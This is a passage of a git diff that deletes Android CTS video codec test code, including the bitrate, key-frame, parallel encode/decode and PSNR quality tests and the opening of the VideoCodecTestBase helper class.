-            (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
-            (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
-            throw new RuntimeException(
-                    "Key frame intervals are different from the expected " + FPS);
-        }
-    }
-
-    /**
-     * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
-     *
-     * Run the the encoder for 12 seconds. Request changes to the
-     * bitrate after 6 seconds and ensure the encoder responds.
-     */
-    private void internalTestDynamicBitrateChange(
-            String codecMimeType, int bitRateMode, boolean useNdk) throws Exception {
-        int encodeSeconds = 12;    // Encoding sequence duration in seconds.
-        int[] bitrateTargetValues = { 400000, 800000 };  // List of bitrates to test.
-
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                bitRateMode,
-                bitrateTargetValues[0],
-                true);
-
-        // Number of seconds for each bitrate
-        int stepSeconds = encodeSeconds / bitrateTargetValues.length;
-        // Fill the bitrates values.
-        params.bitrateSet = new int[encodeSeconds * FPS];
-        for (int i = 0; i < bitrateTargetValues.length ; i++) {
-            Arrays.fill(params.bitrateSet,
-                    i * encodeSeconds * FPS / bitrateTargetValues.length,
-                    (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
-                    bitrateTargetValues[i]);
-        }
-
-        params.useNdk = useNdk;
-        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-        if (bufInfo == null) {
-            Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
-            return;
-        }
-
-        VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-        // Calculate actual average bitrates  for every [stepSeconds] second.
-        int[] bitrateActualValues = new int[bitrateTargetValues.length];
-        for (int i = 0; i < bitrateTargetValues.length ; i++) {
-            bitrateActualValues[i] = 0;
-            for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
-                bitrateActualValues[i] += statistics.mBitrates.get(j);
-            }
-            bitrateActualValues[i] /= stepSeconds;
-            Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
-                    ". Target: " + bitrateTargetValues[i]);
-
-            // Compare actual bitrate values to make sure at least same increasing/decreasing
-            // order as the target bitrate values.
-            for (int j = 0; j < i; j++) {
-                long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
-                long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
-                if (differenceTarget * differenceActual < 0) {
-                    throw new RuntimeException("Target bitrates: " +
-                            bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
-                            ". Actual bitrates: "
-                            + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
-                }
-            }
-        }
-    }
-
-     /**
-      * Check if encoder and decoder can run simultaneously on different threads.
-      *
-      * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
-      * and then run parallel encoding and decoding of the same streams.
-      * Compares average bitrate and PSNR for sequential and parallel runs.
-      */
-     private void internalTestParallelEncodingAndDecoding(String codecMimeType) throws Exception {
-         // check for encoder up front, as by the time we detect lack of
-         // encoder support, we may have already started decoding.
-         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-         MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
-         if (mcl.findEncoderForFormat(format) == null) {
-             Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
-             return;
-         }
-
-         int encodeSeconds = 9;
-         final int[] bitrate = new int[1];
-         final double[] psnr = new double[1];
-         final Exception[] exceptionEncoder = new Exception[1];
-         final Exception[] exceptionDecoder = new Exception[1];
-         final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                 INPUT_YUV,
-                 ENCODED_IVF_BASE,
-                 codecMimeType,
-                 encodeSeconds,
-                 WIDTH,
-                 HEIGHT,
-                 FPS,
-                 VIDEO_ControlRateConstant,
-                 BITRATE,
-                 true);
-         final String inputIvfFilename = params.outputIvfFilename;
-         final ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
-
-         Runnable runEncoder = new Runnable() {
-             public void run() {
-                 try {
-                     ArrayList<MediaCodec.BufferInfo> bufInfo;
-                     if (codecConfigs.isEmpty()) {
-                         bufInfo = encode(params, codecConfigs);
-                     } else {
-                         bufInfo = encode(params);
-                     }
-                     VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-                     bitrate[0] = statistics.mAverageBitrate;
-                 } catch (Exception e) {
-                     Log.e(TAG, "Encoder error: " + e.toString());
-                     exceptionEncoder[0] = e;
-                 }
-             }
-         };
-         Runnable runDecoder = new Runnable() {
-             public void run() {
-                 try {
-                     decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
-                            params.forceGoogleEncoder, codecConfigs);
-                     VideoDecodingStatistics statistics = computeDecodingStatistics(
-                            params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
-                            params.frameWidth, params.frameHeight);
-                     psnr[0] = statistics.mAveragePSNR;
-                 } catch (Exception e) {
-                     Log.e(TAG, "Decoder error: " + e.toString());
-                     exceptionDecoder[0] = e;
-                 }
-             }
-         };
-
-         // Sequential encoding and decoding.
-         runEncoder.run();
-         if (exceptionEncoder[0] != null) {
-             throw exceptionEncoder[0];
-         }
-         int referenceBitrate = bitrate[0];
-         runDecoder.run();
-         if (exceptionDecoder[0] != null) {
-             throw exceptionDecoder[0];
-         }
-         double referencePsnr = psnr[0];
-
-         // Parallel encoding and decoding.
-         params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
-         Thread threadEncoder = new Thread(runEncoder);
-         Thread threadDecoder = new Thread(runDecoder);
-         threadEncoder.start();
-         threadDecoder.start();
-         threadEncoder.join();
-         threadDecoder.join();
-         if (exceptionEncoder[0] != null) {
-             throw exceptionEncoder[0];
-         }
-         if (exceptionDecoder[0] != null) {
-             throw exceptionDecoder[0];
-         }
-
-         // Compare bitrates and PSNRs for sequential and parallel cases.
-         Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
-         Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
-         assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
-                 " is different from parallel encoding " + bitrate[0],
-                 referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
-         assertEquals("PSNR for sequenatial encoding" + referencePsnr +
-                 " is different from parallel encoding " + psnr[0],
-                 referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
-     }
-
-
-    /**
-     * Check the encoder quality for various bitrates by calculating PSNR
-     *
-     * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
-     * for each encoded stream.
-     * Video streams with higher bitrates should have higher PSNRs.
-     * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
-     */
-    private void internalTestEncoderQuality(String codecMimeType, int bitRateMode)
-            throws Exception {
-        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
-        double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
-        double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
-        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
-        boolean skipped = true;
-
-        // Run platform specific encoder for different bitrates
-        // and compare PSNR of codec with PSNR of reference Google codec.
-        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
-            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                    INPUT_YUV,
-                    ENCODED_IVF_BASE,
-                    codecMimeType,
-                    encodeSeconds,
-                    WIDTH,
-                    HEIGHT,
-                    FPS,
-                    bitRateMode,
-                    TEST_BITRATES_SET[i],
-                    true);
-            ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
-            if (encode(params, codecConfigs) == null) {
-                // parameters not supported, try other bitrates
-                completed[i] = false;
-                continue;
-            }
-            completed[i] = true;
-            skipped = false;
-
-            decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
-                    params.forceGoogleEncoder, codecConfigs);
-            VideoDecodingStatistics statistics = computeDecodingStatistics(
-                    params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
-                    params.frameWidth, params.frameHeight);
-            psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
-            psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
-        }
-
-        if (skipped) {
-            Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
-            return;
-        }
-
-        // First do a sanity check - higher bitrates should results in higher PSNR.
-        for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
-            if (!completed[i]) {
-                continue;
-            }
-            for (int j = 0; j < i; j++) {
-                if (!completed[j]) {
-                    continue;
-                }
-                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
-                double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
-                if (differenceBitrate * differencePSNR < 0) {
-                    throw new RuntimeException("Target bitrates: " +
-                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
-                            ". Actual PSNRs: "
-                            + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
-                }
-            }
-        }
-
-        // Then compare average and minimum PSNR of platform codec with reference Google codec -
-        // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
-        // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
-        // These PSNR difference numbers are arbitrary for now, will need further estimation
-        // when more devices with HW video codec will appear.
-        for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
-            if (!completed[i]) {
-                continue;
-            }
-
-            Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
-            Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
-                    REFERENCE_MINIMUM_PSNR[i]);
-            Log.d(TAG, "Platform:  Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
-                    psnrPlatformCodecMin[i]);
-            if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
-                    MAX_AVERAGE_PSNR_DIFFERENCE) {
-                throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
-                        " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
-                        " for bitrate " + TEST_BITRATES_SET[i]);
-            }
-            if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
-                    MAX_MINIMUM_PSNR_DIFFERENCE) {
-                throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
-                        " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
-                        " for bitrate " + TEST_BITRATES_SET[i]);
-            }
-        }
-    }
-
-    public void testBasicVP8CBR() throws Exception {
-        internalTestBasic(VP8_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testBasicVP8VBR() throws Exception {
-        internalTestBasic(VP8_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testBasicVP9CBR() throws Exception {
-        internalTestBasic(VP9_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testBasicVP9VBR() throws Exception {
-        internalTestBasic(VP9_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testBasicAVCCBR() throws Exception {
-        internalTestBasic(AVC_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testBasicAVCVBR() throws Exception {
-        internalTestBasic(AVC_MIME, VIDEO_ControlRateVariable);
-    }
-    public void testBasicHEVCCBR() throws Exception {
-        internalTestBasic(HEVC_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testBasicHEVCVBR() throws Exception {
-        internalTestBasic(HEVC_MIME, VIDEO_ControlRateVariable);
-    }
-    public void testAsyncEncodingVP8CBR() throws Exception {
-        internalTestAsyncEncoding(VP8_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testAsyncEncodingVP8VBR() throws Exception {
-        internalTestAsyncEncoding(VP8_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testAsyncEncodingVP9CBR() throws Exception {
-        internalTestAsyncEncoding(VP9_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testAsyncEncodingVP9VBR() throws Exception {
-        internalTestAsyncEncoding(VP9_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testAsyncEncodingAVCCBR() throws Exception {
-        internalTestAsyncEncoding(AVC_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testAsyncEncodingAVCVBR() throws Exception {
-        internalTestAsyncEncoding(AVC_MIME, VIDEO_ControlRateVariable);
-    }
-    public void testAsyncEncodingHEVCCBR() throws Exception {
-        internalTestAsyncEncoding(HEVC_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testAsyncEncodingHEVCVBR() throws Exception {
-        internalTestAsyncEncoding(HEVC_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testSyncFrameVP8CBR() throws Exception {
-        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testSyncFrameVP8VBR() throws Exception {
-        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateVariable, false);
-    }
-
-    public void testSyncFrameVP8NdkCBR() throws Exception {
-        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testSyncFrameVP8NdkVBR() throws Exception {
-        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateVariable, true);
-    }
-
-    public void testSyncFrameVP9CBR() throws Exception {
-        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testSyncFrameVP9VBR() throws Exception {
-        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateVariable, false);
-    }
-
-    public void testSyncFrameVP9NdkCBR() throws Exception {
-        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testSyncFrameVP9NdkVBR() throws Exception {
-        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateVariable, true);
-    }
-
-    public void testSyncFrameAVCCBR() throws Exception {
-        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testSyncFrameAVCVBR() throws Exception {
-        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateVariable, false);
-    }
-
-    public void testSyncFrameAVCNdkCBR() throws Exception {
-        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testSyncFrameAVCNdkVBR() throws Exception {
-        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateVariable, true);
-    }
-
-    public void testSyncFrameHEVCCBR() throws Exception {
-        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testSyncFrameHEVCVBR() throws Exception {
-        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateVariable, false);
-    }
-
-    public void testSyncFrameHEVCNdkCBR() throws Exception {
-        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testSyncFrameHEVCNdkVBR() throws Exception {
-        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateVariable, true);
-    }
-
-    public void testDynamicBitrateChangeVP8CBR() throws Exception {
-        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testDynamicBitrateChangeVP8VBR() throws Exception {
-        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateVariable, false);
-    }
-    public void testDynamicBitrateChangeVP8NdkCBR() throws Exception {
-        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testDynamicBitrateChangeVP8NdkVBR() throws Exception {
-        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateVariable, true);
-    }
-    public void testDynamicBitrateChangeVP9CBR() throws Exception {
-        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testDynamicBitrateChangeVP9VBR() throws Exception {
-        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateVariable, false);
-    }
-    public void testDynamicBitrateChangeVP9NdkCBR() throws Exception {
-        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testDynamicBitrateChangeVP9NdkVBR() throws Exception {
-        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateVariable, true);
-    }
-    public void testDynamicBitrateChangeAVCCBR() throws Exception {
-        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testDynamicBitrateChangeAVCVBR() throws Exception {
-        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateVariable, false);
-    }
-    public void testDynamicBitrateChangeAVCNdkCBR() throws Exception {
-        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testDynamicBitrateChangeAVCNdkVBR() throws Exception {
-        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateVariable, true);
-    }
-    public void testDynamicBitrateChangeHEVCCBR() throws Exception {
-        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateConstant, false);
-    }
-    public void testDynamicBitrateChangeHEVCVBR() throws Exception {
-        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateVariable, false);
-    }
-    public void testDynamicBitrateChangeHEVCNdkCBR() throws Exception {
-        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateConstant, true);
-    }
-    public void testDynamicBitrateChangeHEVCNdkVBR() throws Exception {
-        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateVariable, true);
-    }
-
-    public void testEncoderQualityVP8CBR() throws Exception {
-        internalTestEncoderQuality(VP8_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testEncoderQualityVP8VBR() throws Exception {
-        internalTestEncoderQuality(VP8_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testEncoderQualityVP9CBR() throws Exception {
-        internalTestEncoderQuality(VP9_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testEncoderQualityVP9VBR() throws Exception {
-        internalTestEncoderQuality(VP9_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testEncoderQualityAVCCBR() throws Exception {
-        internalTestEncoderQuality(AVC_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testEncoderQualityAVCVBR() throws Exception {
-        internalTestEncoderQuality(AVC_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testEncoderQualityHEVCCBR() throws Exception {
-        internalTestEncoderQuality(HEVC_MIME, VIDEO_ControlRateConstant);
-    }
-    public void testEncoderQualityHEVCVBR() throws Exception {
-        internalTestEncoderQuality(HEVC_MIME, VIDEO_ControlRateVariable);
-    }
-
-    public void testParallelEncodingAndDecodingVP8() throws Exception {
-        internalTestParallelEncodingAndDecoding(VP8_MIME);
-    }
-    public void testParallelEncodingAndDecodingVP9() throws Exception {
-        internalTestParallelEncodingAndDecoding(VP9_MIME);
-    }
-    public void testParallelEncodingAndDecodingAVC() throws Exception {
-        internalTestParallelEncodingAndDecoding(AVC_MIME);
-    }
-    public void testParallelEncodingAndDecodingHEVC() throws Exception {
-        internalTestParallelEncodingAndDecoding(HEVC_MIME);
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
deleted file mode 100644
index 31785e3..0000000
--- a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
+++ /dev/null
@@ -1,2119 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.media.MediaCodec;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.Looper;
-import android.os.Handler;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Locale;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Verification test for video encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by the decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class VideoCodecTestBase extends AndroidTestCase {
-
-    protected static final String TAG = "VideoCodecTestBase";
-    protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
-    protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
-    protected static final String AVC_MIME = MediaFormat.MIMETYPE_VIDEO_AVC;
-    protected static final String HEVC_MIME = MediaFormat.MIMETYPE_VIDEO_HEVC;
-    protected static final String SDCARD_DIR =
-            Environment.getExternalStorageDirectory().getAbsolutePath();
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    // Default timeout for MediaCodec buffer dequeue - 200 ms.
-    protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
-    // Default timeout for MediaEncoderAsync - 30 sec.
-    protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
-    // Default sync frame interval in frames
-    private static final int SYNC_FRAME_INTERVAL = 30;
-    // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
-    protected static final int VIDEO_ControlRateVariable = 1;
-    protected static final int VIDEO_ControlRateConstant = 2;
-    // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
-    // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
-    private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
-    // Allowable color formats supported by codec - in order of preference.
-    private static final int[] mSupportedColorList = {
-            CodecCapabilities.COLOR_FormatYUV420Planar,
-            CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
-            CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
-            COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
-    };
-    // Scaled image cache list - contains scale factors, for which up-scaled frames
-    // were calculated and were written to yuv file.
-    ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
-
-    private Resources mResources;
-
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-        mResources = mContext.getResources();
-    }
-
-    /**
-     *  Video codec properties generated by getVideoCodecProperties() function.
-     */
-    private class CodecProperties {
-        CodecProperties(String codecName, int colorFormat) {
-            this.codecName = codecName;
-            this.colorFormat = colorFormat;
-        }
-        public final String codecName; // OpenMax component name for Video codec.
-        public final int colorFormat;  // Color format supported by codec.
-    }
-
-    /**
-     * Function to find Video codec.
-     *
-     * Iterates through the list of available codecs and tries to find
-     * Video codec, which can support either YUV420 planar or NV12 color formats.
-     * If forceGoogleCodec parameter set to true the function always returns
-     * Google Video codec.
-     * If forceGoogleCodec parameter set to false the functions looks for platform
-     * specific Video codec first. If no platform specific codec exist, falls back to
-     * Google Video codec.
-     *
-     * @param isEncoder     Flag if encoder is requested.
-     * @param forceGoogleCodec  Forces to use Google codec.
-     */
-    private CodecProperties getVideoCodecProperties(
-            boolean isEncoder,
-            MediaFormat format,
-            boolean forceGoogleCodec) throws Exception {
-        CodecProperties codecProperties = null;
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        // Loop through the list of codec components in case platform specific codec
-        // is requested.
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
-            if (isEncoder != codecInfo.isEncoder()) {
-                continue;
-            }
-            Log.v(TAG, codecInfo.getName());
-            // TODO: remove dependence of Google from the test
-            // Check if this is Google codec - we should ignore it.
-            if (codecInfo.isVendor() && forceGoogleCodec) {
-                continue;
-            }
-
-            for (String type : codecInfo.getSupportedTypes()) {
-                if (!type.equalsIgnoreCase(mime)) {
-                    continue;
-                }
-                CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
-                if (!capabilities.isFormatSupported(format)) {
-                    continue;
-                }
-
-                // Get candidate codec properties.
-                Log.v(TAG, "Found candidate codec " + codecInfo.getName());
-                for (int colorFormat: capabilities.colorFormats) {
-                    Log.v(TAG, "   Color: 0x" + Integer.toHexString(colorFormat));
-                }
-
-                // Check supported color formats.
-                for (int supportedColorFormat : mSupportedColorList) {
-                    for (int codecColorFormat : capabilities.colorFormats) {
-                        if (codecColorFormat == supportedColorFormat) {
-                            codecProperties = new CodecProperties(codecInfo.getName(),
-                                    codecColorFormat);
-                            Log.v(TAG, "Found target codec " + codecProperties.codecName +
-                                    ". Color: 0x" + Integer.toHexString(codecColorFormat));
-                            // return first vendor codec (hopefully HW) found
-                            if (codecInfo.isVendor()) {
-                                return codecProperties;
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        if (codecProperties == null) {
-            Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
-                    + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
-        }
-        return codecProperties;
-    }
-
-    /**
-     * Parameters for encoded video stream.
-     */
-    protected class EncoderOutputStreamParameters {
-        // Name of raw YUV420 input file. When the value of this parameter
-        // is set to null input file descriptor from inputResource parameter
-        // is used instead.
-        public String inputYuvFilename;
-        // Name of scaled YUV420 input file.
-        public String scaledYuvFilename;
-        // File descriptor for the raw input file (YUV420). Used only if
-        // inputYuvFilename parameter is null.
-        public String inputResource;
-        // Name of the IVF file to write encoded bitsream
-        public String outputIvfFilename;
-        // Mime Type of the Encoded content.
-        public String codecMimeType;
-        // Force to use Google Video encoder.
-        boolean forceGoogleEncoder;
-        // Number of frames to encode.
-        int frameCount;
-        // Frame rate of input file in frames per second.
-        int frameRate;
-        // Encoded frame width.
-        public int frameWidth;
-        // Encoded frame height.
-        public int frameHeight;
-        // Encoding bitrate array in bits/second for every frame. If array length
-        // is shorter than the total number of frames, the last value is re-used for
-        // all remaining frames. For constant bitrate encoding single element
-        // array can be used with first element set to target bitrate value.
-        public int[] bitrateSet;
-        // Encoding bitrate type - VBR or CBR
-        public int bitrateType;
-        // Number of temporal layers
-        public int temporalLayers;
-        // Desired key frame interval - codec is asked to generate key frames
-        // at a period defined by this parameter.
-        public int syncFrameInterval;
-        // Optional parameter - forced key frame interval. Used to
-        // explicitly request the codec to generate key frames using
-        // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
-        public int syncForceFrameInterval;
-        // Buffer timeout
-        long timeoutDequeue;
-        // Flag if encoder should run in Looper thread.
-        boolean runInLooperThread;
-        // Flag if use NdkMediaCodec
-        boolean useNdk;
-    }
-
-    private String getCodecSuffix(String codecMimeType) {
-        switch(codecMimeType) {
-        case VP8_MIME:
-            return "vp8";
-        case VP9_MIME:
-            return "vp9";
-        case AVC_MIME:
-            return "avc";
-        case HEVC_MIME:
-            return "hevc";
-        default:
-            Log.w(TAG, "getCodecSuffix got an unexpected codecMimeType.");
-        }
-        return "video";
-    }
-
-    /**
-     * Generates an array of default parameters for encoder output stream based on
-     * upscaling value.
-     */
-    protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
-            String inputYuvName,
-            String outputIvfBaseName,
-            String codecMimeType,
-            int encodeSeconds,
-            int[] resolutionScales,
-            int frameWidth,
-            int frameHeight,
-            int frameRate,
-            int bitrateMode,
-            int[] bitrates,
-            boolean syncEncoding) {
-        assertTrue(resolutionScales.length == bitrates.length);
-        int numCodecs = resolutionScales.length;
-        ArrayList<EncoderOutputStreamParameters> outputParameters =
-                new ArrayList<EncoderOutputStreamParameters>(numCodecs);
-        for (int i = 0; i < numCodecs; i++) {
-            EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
-            if (inputYuvName != null) {
-                params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
-            } else {
-                params.inputYuvFilename = null;
-            }
-            params.scaledYuvFilename = SDCARD_DIR + File.separator +
-                    outputIvfBaseName + resolutionScales[i]+ ".yuv";
-            params.inputResource = "football_qvga.yuv";
-            params.codecMimeType = codecMimeType;
-            String codecSuffix = getCodecSuffix(codecMimeType);
-            params.outputIvfFilename = SDCARD_DIR + File.separator +
-                    outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
-            params.forceGoogleEncoder = false;
-            params.frameCount = encodeSeconds * frameRate;
-            params.frameRate = frameRate;
-            params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
-            params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
-            params.bitrateSet = new int[1];
-            params.bitrateSet[0] = bitrates[i];
-            params.bitrateType = bitrateMode;
-            params.temporalLayers = 0;
-            params.syncFrameInterval = SYNC_FRAME_INTERVAL;
-            params.syncForceFrameInterval = 0;
-            if (syncEncoding) {
-                params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
-                params.runInLooperThread = false;
-            } else {
